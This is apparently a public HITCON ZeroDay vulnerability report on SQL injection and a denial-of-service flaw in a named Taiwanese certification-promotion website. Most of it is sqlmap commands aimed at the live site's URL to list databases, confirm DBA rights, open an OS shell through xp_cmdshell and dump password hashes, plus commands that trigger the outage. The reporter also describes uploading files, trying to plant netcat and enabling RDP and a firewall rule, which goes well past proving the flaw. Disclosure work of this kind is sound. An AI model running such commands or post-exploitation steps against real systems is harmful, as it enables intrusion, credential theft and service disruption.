Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00569
- 發信 Vendor: {國際行銷證照推廣服務網}
- Title: 國際行銷證照推廣服務網SQLi附帶阻斷服務攻撃
- Introduction: 存在MSSQL注入和DOS
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2022/08/01 18:50:55 : 新提交 (由 失眠鋒ISSAC 更新此狀態)
- 2022/08/01 22:04:45 : 新提交 (由 失眠鋒ISSAC 更新此狀態)
- 2022/08/01 22:06:26 : 新提交 (由 失眠鋒ISSAC 更新此狀態)
- 2022/08/01 22:22:34 : 新提交 (由 失眠鋒ISSAC 更新此狀態)
- 2022/08/01 22:22:56 : 新提交 (由 失眠鋒ISSAC 更新此狀態)
- 2022/08/02 12:29:00 : 新提交 (由 失眠鋒ISSAC 更新此狀態)
- 2022/08/03 17:07:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/08/05 15:42:43 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/08/05 15:42:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/08/05 15:42:43 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/10/01 03:00:14 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2022-00569
- 通報者：ISSAC_f0ng (失眠鋒ISSAC)
- 風險：高
- 類型：資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
sqlmap是一個用來測試SQL注入漏洞的工具, 功能十分強大, 項目地址：
https://github.com/sqlmapproject/sqlmap
下面開始測試：
使用sqlmap可注入, 列出所有database
sqlmap.py -u http://www.certifcneea.org.tw/cerimweb/News.aspx?id=105 --dbs
發現權限為dba, 下圖中顯示 True
sqlmap.py -u http://www.certifcneea.org.tw/cerimweb/News.aspx?id=105 --is-dba
用--os-shell開啟xp_cmdshell拿下命令行介面, 可執行命令
sqlmap.py -u http://www.certifcneea.org.tw/cerimweb/News.aspx?id=105 --os-shell
可查看SQL Server帳密然後暴力破解hash
sqlmap.py -u http://www.certifcneea.org.tw/cerimweb/News.aspx?id=105 --passwords
圖片我測試後就刪了, 這邊就不再測試一次 (其實是怕觸發DOS)
測試過程發現如果查詢SQL Server時間過長會令伺服器出問題，做成短暫DOS,
只要進行資料量大的查詢就可以觸發，例如：
在os-shell內：for /r D:\ %i in (*.php) do @echo %i
或者是連續幾次 ipconfig就可以了。
影響範圍是所有需要查詢mssql的頁面。
另一方面來說, 這個dos會令自己無法用os-shell, 查詢絕對路徑有困難, 所以沒有上傳webshell
上傳一般txt檔成功, 在目錄C:\和D:\下, 但上傳netcat失敗，應該是被防毒刪了。
嘗試打開3389, 提示成功, 但nmap沒掃出3389。
嘗試在防火牆增加RDP, 提示成功, 但3389連接時出現"內部錯誤"的提示。
聲明：
xp_cmdshell在使用後已經關閉, 無盜取任何資料, 圖片在截圖後已全部刪除, 也沒有放任何木馬,
本人並無惡意，免費漏洞檢測的目的是幫助企業、政府機關、學校防止資安問題，
在經驗中累積個人實力, 並未利用漏洞深入，一切操作都在文章中記錄, 請相關單位放心。